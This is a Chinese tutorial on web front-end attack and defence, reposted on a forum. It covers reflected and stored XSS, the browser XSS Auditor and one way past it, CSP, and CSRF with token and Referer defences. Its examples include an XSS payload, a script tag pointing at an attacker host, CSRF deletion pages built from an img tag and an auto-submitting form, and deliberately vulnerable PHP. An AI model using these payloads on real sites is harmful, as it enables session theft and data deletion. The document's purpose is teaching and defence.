搜索

[20754] 2017-05-19_Web前端攻防

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-05-19_Web前端攻防 W e b 前 端 攻 防 L e m o n S e c   2 0 1 7 - 0 5 - 1 9 随 随 着 各 浏 览 器 安 全 功 能 的 提 高 ， 前 端 防 御 面 临 的 问 题 也 没 有 之 前 那 么 复 杂 ， 但 浏 览 器 的 防 御 措 施 并 不 能 百 分 百 的 保 证 网 站 的 安 全 。 浏 览 器 的 X S S   A u d i t o r ， 使 得 反 射 型 x s s 几 乎 被 废 ； C S P ( C o n t e n t - S e c u r i t y - P o l i c y ) 、 X - X S S - P r o t e c t i o n 可 以 禁 止 不 可 信 源 的 脚 本 执 行 ！ 无 疑 ， 这 对 x s s 攻 击 是 一 记 重 拳 。 但 是 道 高 一 尺 ， 魔 高 一 丈 ， 尤 其 是 在 安 全 界 ， 永 远 应 该 记 住 的 一 句 箴 言 就 是 “ 只 有 相 对 的 安 全 ， 没 有 绝 对 的 安 全 ” 。 本 文 重 点 介 绍 现 代 浏 览 器 的 安 全 特 性 以 及 浏 览 器 依 然 不 能 防 御 的 攻 击 手 段 。 0 1 -   X S S X S S 攻 击 ： 跨 站 脚 本 攻 击 ( C r o s s   S i t e   S c r i p t i n g ) ， 为 不 和   C S S 混 淆 ， 故 将 跨 站 脚 本 攻 击 缩 写 为 X S S 。 为 什 么 叫 跨 站 脚 本 ？ 简 单 来 说 ， 就 是 在 一 个 网 站 上 运 行 了 该 网 站 之 外 的 j s 脚 本 ( 当 然 ， 开 发 者 自 已 引 用 的 可 信 源 的 j s 不 算 ， 比 如 使 用 了 c d n 的   j Q u e r y   ) 。 0 2 -   一 个 经 典 的 例 子 一 个 经 典 的 例 子 假 设 有 一 个 搜 索 页 面 ， 关 键 字 以 G e t 方 法 传 递 。 假 设 ， 搜 索 页 面 在 输 出 结 果 时 会 无 过 滤 的 将 用 户 的 关 键 字 回 显 到 网 页 上 ， 大 致 逻 辑 如 下 ： / / x s s . p h p < ? p h p     i f ( i s s e t ( $ _ R E Q U E S T [ " w d " ] ) )     $ w d = $ _ R E Q U E S T [ " w d " ] ;   i f ( $ w d ) {     e c h o   " < d i v > 关 键 字 ' $ w d ' 搜 索 的 结 果 如 下 ： < / d i v > " }   . . . ? > 然 后 搜 索 请 求 的 链 接 是 : h t t p : / / l o c a l h o s t / t e s t / h a k e r / x s s . p h p ? w d = < s c r i p t > a l e r t ( " x s s " ) < / s c r i p t >
或 者 为 了 隐 蔽 编 一 下 码 ： h t t p : / / l o c a l h o s t / t e s t / h a k e r / x s s . p h p ? w d = d d d % 3 C s c r i p t % 3 E a l e r t ( % 2 2 % 2 2 ) % 3 C / s c r i p t % 3 E 在 e s 6 下 ， 你 甚 者 可 以 用 u n i c o d e 码 点 。 如 果 是 在 几 年 前 ， 你 的 浏 览 器 大 致 都 会 弹 出 这 样 一 个 窗 口 ： a l e r t 然 而 ， 现 在 不 行 了 ， 在 c h r o m e 和 s a f a r i 下 ， 如 果 发 现 响 应 中 包 含 请 求 参 数 中 相 同 的 代 码 字 符 串 ， 它 们 就 会 拒 绝 执 行 这 些 代 码 ， 你 会 收 到 如 下 的 错 误 提 示 ： T h e   X S S   A u d i t o r   r e f u s e d   t o   e x e c u t e   a   s c r i p t   i n   ' h t t p : / / l o c a l h o s t / t e s t / h a k e r / x s s . p h p ? w d = d d d % 3 C s c r i p t % 3 E a l e r t ( % 2 2 x s s % 2 2 ) % 3 C / s c r i p t % 3 E '   b e c a u s e   i t s   s o u r c e   c o d e   w a s   f o u n d   w i t h i n   t h e   r e q u e s t .   T h e   a u d i t o r   w a s   e n a b l e d   a s   t h e   s e r v e r   s e n t   n e i t h e r   a n   ' X - X S S - P r o t e c t i o n '   n o r   ' C o n t e n t - S e c u r i t y - P o l i c y '   h e a d e r . 0 3 -   X S S   A u d i t o r x s s   a u d i t o r 是 C h r o m e   和   S a f a r i 中 内 建 的 一 个 防 御 x s s 攻 击 的 功 能 模 块 ， 相 当 于 一 个 审 计 器 ， 有 预 设 规 则 ， 主 要 功 能 就 是 针 对 上 述 这 种 情 况 。 此 功 能 默 认 是 开 启 的 ， 当 然 也 可 以 关 闭 ， 需 要 在 r e s p o n s e   h e a d e r 中 显 式 指 定 ： / / 关 闭   x s s   a u d i t o r X - X S S - P r o t e c t i o n :   0 当 然 ， 更 强 大 的 是 ， 触 发 后 还 可 以 将 详 情 上 报 ， 便 于 分 析 跟 踪 ： X - X S S - P r o t e c t i o n :   1 ;   r e p o r t = h t t p : / / e x a m p l e . c o m / y o u r _ r e p o r t _ U R I 也 可 以 使 用 b l o c k 模 式 ： 一 旦 触 发 ， 当 前 页 面 就 会 终 止 ， 并 同 时 展 示 一 个 空 白 页 面 给 用 户 ：
X - X S S - P r o t e c t i o n :   1 ;   m o d e = b l o c k 如 果 将 请 求 换 成 p o s t ， x s s   a u d i t o r 还 会 被 触 发 吗 ？ 答 案 是 ： 可 以 ！ X S S   A u d i t o r 的 缺 点 的 缺 点 我 们 将 后 台 逻 辑 改 一 下 ， 给 每 个 " > " 后 加 一 个 分 号 。 < ? p h p     i f ( i s s e t ( $ _ R E Q U E S T [ " w d " ] ) )     $ w d = s t r _ r e p l a c e ( " > " , " > ; " , $ _ R E Q U E S T [ " w d " ] ) ;   i f ( $ w d ) {     e c h o   " < d i v > 关 键 字 ' $ w d ' 搜 索 的 结 果 如 下 ： < / d i v > " }   ? > 然 后 依 然 是 之 前 的 链 接 ， 刷 新 ： a l e r t 成 功 了 ， 当 然 本 例 只 是 一 个 说 明 ， 通 常 情 况 下 ， 我 们 都 会 对 用 户 提 交 的 数 据 进 行 一 些 处 理 ， 如 果 这 些 处 理 导 致 和 提 交 的 内 容 不 一 样 了 ， 但 是 仍 然 可 以 执 行 ， 比 如 像 本 例 一 样 。 那 么 x s s   a u d i t o r   就 无 能 为 力 了 。 不 过 x s s   a u d i t o r 本 身 的 智 能 度 也 挺 高 ， 像 字 符 编 码 ， 大 小 写 变 化 这 种 变 化 依 然 躲 不 过 x s s   a u d i t o r 。 0 4 -   存 储 型 存 储 型 x s s 比 如 网 站 有 个 留 言 板 功 能 ， 但 后 台 未 对 用 户 输 入 进 行 过 滤 ， 攻 击 者 可 以 在 留 言 编 辑 框 中 输 入 ： < s c r i p t   s r c = " h t t p : / / w w w . h a c k e r . o r g / x s s . p a y l o a d . j s " > < / s c r i p t > 然 后 再 随 便 输 入 点 其 它 文 字 ， 提 交 留 言 ， 提 交 成 功 后 ， 内 容 将 会 被 保 存 到 服 务 器 数 据 库 ， 只 要 再 访 问 留 言 列 表 ， 这 个 就 会 被 插 入 到 网 页 中 ， x s s . p a y l o a d . j s 中 的 代 码 就 可 以 执 行 ， 如 果 访 问 的 用 户 都 是 已 登 录 用 户 ， x s s . p a y l o a d . j s 可 以 获 取 老 浏 览 用 户 的 信 息 ， 如 的 登 录
t o k e n 、 用 户 的 个 人 资 料 等 ， p a y l o a d 甚 至 可 以 拉 一 个 全 家 桶 下 来 。 以 前 的 防 御 手 段 主 要 是 对 用 户 输 入 进 行 过 滤 如 ： 去 除 h t m l 标 签 ， 实 体 化 ， 关 键 字 过 滤 等 等 ， 这 样 一 来 ， 最 终 的 结 果 就 是 后 台 的 大 多 数 代 码 都 是 在 做 字 符 串 验 证 ， 非 常 的 让 人 不 舒 服 。 所 以 W 3   o r g 引 入 了 C S P : 0 5 -   C o n t e n t - S e c u r i t y - P o l i c y C o n t e n t - S e c u r i t y - P o l i c y   是 W 3   o r g 草 案 ， 主 要 是 用 来 定 义 页 面 可 以 加 载 哪 些 资 源 ， 减 少   X S S   的 发 生 ， c h r o m e 已 经 支 持 ， 详 情 可 以 参 考 C h r o m e   C S P   官 方 文 档 。 这 样 一 来 ， 从 源 头 上 杜 绝 了 不 可 信 源 的 x s s   p a y l o a d 加 载 的 可 能 型 。 比 如 下 面 的 配 置 只 允 许 加 载 本 域 下 的 脚 本 ： C o n t e n t - S e c u r i t y - P o l i c y :   d e f a u l t - s r c   ' s e l f ' 这 样 即 使 页 面 被 注 入 了 外 部 脚 本 ， 浏 览 器 也 会 拒 绝 执 行 ， 你 会 收 到 如 下 的 错 误 提 示 ： R e f u s e d   t o   l o a d   t h e   s c r i p t   ' h t t p : / / w w w . h a c k e r . o r g / x s s . p a y l o a d . j s '   b e c a u s e   i t   v i o l a t e s   t h e   f o l l o w i n g   C o n t e n t   S e c u r i t y   P o l i c y   d i r e c t i v e :   " d e f a u l t - s r c   ' s e l f ' " .   N o t e   t h a t   ' s c r i p t - s r c '   w a s   n o t   e x p l i c i t l y   s e t ,   s o   ' d e f a u l t - s r c '   i s   u s e d   a s   a   f a l l b a c k . 当 然 ， C S P 能 指 定 的 规 则 是 很 多 的 ， 甚 至 也 可 以 禁 止 内 联 脚 本 执 行 ， 详 情 请 移 步   W 3   C S P 。   浏 览 器 的 支 持 情 况 请 移 步   C a n   I   u s e C o n t e n t   S e c u r i t y   P o l i c y 。 0 6 -   C S R F 复 制 一 段 百 度 的 介 绍 ： C S R F （ C r o s s - s i t e   r e q u e s t   f o r g e r y 跨 站 请 求 伪 造 ， 也 被 称 为 “ O n e   C l i c k   A t t a c k ” 或 者 S e s s i o n   R i d i n g ， 通 常 缩 写 为 C S R F 或 者 X S R F ， 是 一 种 对 网 站 的 恶 意 利 用 。 尽 管 听 起 来 像 跨 站 脚 本 （ X S S ） , 但 它 与 X S S 非 常 不 同 ， 并 且 攻 击 方 式 几 乎 相 左 。 X S S 利 用 站 点 内 的 信 任 用 户 ， 而 C S R F 则 通 过 伪 装 来 自 受 信 任 用 户 的 请 求 来 利 用 受 信 任 的 网 站 。 与 X S S 攻 击 相 比 ， C S R F 攻 击 往 往 不 大 流 行 （ 因 此 对 其 进 行 防 范 的 资 源 也 相 当 稀 少 ） 和 难 以 防 范 ， 所 以 被 认 为 比 X S S 更 具 危 险 性 。 C S R F 攻 击 流 程 攻 击 流 程 用 户 登 录 受 信 任 网 站 A 。 在 不 退 出   A 的 情 况 下 ， 访 问 危 险 网 站 B （ 攻 击 者 网 站 或 攻 击 者 挂 马 的 网 站 ） 。 举 个 例 子 ， 假 设 A 网 站 是 个 博 客 网 站 ， 用 户 登 录 之 后 可 以 删 除 自 己 的 博 客 ， 删 除 的 链 接 如 下 ： h t t p : / / w w w . a . c o m / r e s o u r c e / d e l e t e / { b l o g i d } 先 看 看 后 台 登 录 逻 辑 ： 用 户 登 录 成 功 后 ， 创 建 s e s s i o n ， 然 后 将 s e s s i o n   i d 通 过 c o o k i e 传 给 浏 览 器 ， 这 样 便 可 以 跟 踪 用 户 登 录 状 态 ， 以 后 所 有 的 操 作 都 是 登 录 态 的 操 作 。 删 除 博 客 时 后 台 的 逻 辑 是 这 样 的 ： 删 除 之 前 ， 先 检 验 用 户 身 份 ， 如 果 身 份 校 验 通 过 则 删 除 ， 如 果 未 登 录 ， 则 重 定 向 到 登 录 页 面 。 假 设 攻 击 者 在 这 篇 博 客 下 面 评 论 如 下 ： “ h i   你 好 ， 读 了 你 的 博 客 很 受 益 ， 我 有 一 个 问 题 ， 请 大 牛 解 惑 ， 链 接 是 b ， 多 谢 ！ ”
看 了 这 条 评 论 后 ， 你 内 心 很 满 足 ， 于 是 决 定 指 导 一 下 这 位 粉 丝 ， 你 点 了 链 接 ， 回 答 了 问 题 ， 自 信 满 满 地 返 回 到 自 己 的 博 客 ， 然 后 突 然 发 现   “ 博 客 找 不 到 了 ” ！   怪 哉 ， w h y ？   中 招 了 ！ 问 题 就 在 你 刚 才 访 问 过 的 网 页 。 假 设 你 的 博 客 i d = 8 ,   b 网 页 内 容 大 致 如 下 ： < h t m l >   . . .   < i m g   s r c = ' h t t p : / / w w w . a . c o m / r e s o u r c e / d e l e t e / 8 ' / >   . . . < h t m l > 网 页 中 i m g   s r c 正 是 删 除 你 的 博 客 链 接 ， 或 许 你 会 说 ， 后 台 不 是 有 身 份 认 证 么 ？ 是 的 ， 后 台 的 确 有 身 份 认 证 ， 但 此 时 访 问 b ， 你 并 没 有 退 出 登 录 ， 而 此 时 b 中 浏 览 器 又 发 起 了   h t t p : / / w w w . a . c o m / r e s o u r c e / d e l e t e / 8   请 求 （ 同 时 会 发 送 该 域 下 的 c o o k i e ） ， 这 样 一 来 ， 后 台 用 户 认 证 会 通 过 ， 所 以 删 除 会 成 功 。 p s : 是 不 是 以 后 可 以 用 这 招 去 删 帖 了 。 。 。 如 果 是 p o s t 请 求 呢 ？ < h t m l >   . . .   < f o r m   m e t h o d = " p o s t "   a c t i o n = " h t t p : / / w w w . a . c o m / r e s o u r c e / d e l e t e / " >       < i n p u t   t y p e = " h i d d e n "   n a m e = i d   v a l u e = 8 >   < / f o r m >   < s c r i p t >       $ ( " f o r m " ) . s u b m i t ( )     < / s c r i p t >   . . . < h t m l > 在 b 页 面 中 ， 制 造 一 个 表 单 ， 然 后 直 接 触 发 提 交 ， 依 然 可 以 ！ 0 7 -   C S R F 攻 击 防 御 攻 击 防 御 随 机 值 法 随 机 值 法 后 台 对 每 一 次 请 求 都 生 成 一 个 随 机 值 ， 保 存 在 s e s s i o n 中 ， 然 后 再 将 该 值 发 送 给 页 面 ， 可 以 在 c o o k i e 中 ， 也 可 以 在 一 个 隐 藏 的 表 单 中 （ 大 多 数 后 台 框 架 都 是 这 么 做 的 ， 如 p h p 的 s y m f o n y 、 l a r a v a l ） , 甚 至 也 可 以 是 在 验 证 码 中 。 下 面 以 表 单 为 例 来 说 明 ：
< ? p h p   $ h a s h   =   r a n d o m ( 1 0 0 0 0 0 ) ; ? > < f o r m   m e t h o d = " p o s t "   a c t i o n = " d e l e t e / " > < i n p u t   t y p e = " i d "   n a m e = " 8 " > < i n p u t   t y p e = " h i d d e n "   n a m e = " h a s h "   v a l u e = " < ? p h p   $ h a s h ;   ? > " > < i n p u t   t y p e = " s u b m i t "     v a l u e = " S u b m i t " > < / f o r m > 然 后 提 交 时 ， 服 务 端 再 对 比 h a s h 值 是 不 是 和 s e s s i o n 中 一 样 。   攻 击 者 网 站 时 无 法 预 估 这 个 h a s h 的 。 但 是 请 注 意 ， 在 上 面 所 述 的 攻 击 场 景 中 ， 把 h a s h 存 在 c o o k i e 中 时 不 行 的 。 检 测 检 测 r e f e r 后 台 在 进 行 删 除 操 作 之 前 先 判 断 r e f e r ， 如 果 不 是 本 域 的 请 求 ， 则 直 接 拒 绝 ， 这 种 做 法 很 有 效 。 但 是 ， 想 想 这 样 一 个 场 景 ： 如 果 博 客 允 许 评 论 里 面 插 图 ， 攻 击 者 完 全 可 以 将   i m g 插 入 到 原 网 站 中 ， 这 样 r e f e r 还 是 在 当 下 域 名 ， 博 客 依 然 会 被 删 除 。 所 有 可 能 引 入 链 接 的 h t m l 标 签 都 是 不 可 信 的 ， 如 s c r i p t 、 l i n k ， 后 台 过 滤 策 略 一 定 要 考 虑 到 。 0 8 -   总 结 总 结 其 实 可 以 看 到 ， 上 面 的 攻 击 虽 说 现 场 是 在 前 端 ， 但 是 本 质 还 是 服 务 端 验 证 不 足 、 过 滤 不 全 导 致 。 对 于 前 端 来 说 ， 防 御 所 做 的 事 有 限 ， 但 是 站 在 攻 击 者 角 度 来 讲 ， 又 必 需 精 通 前 端 。 查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理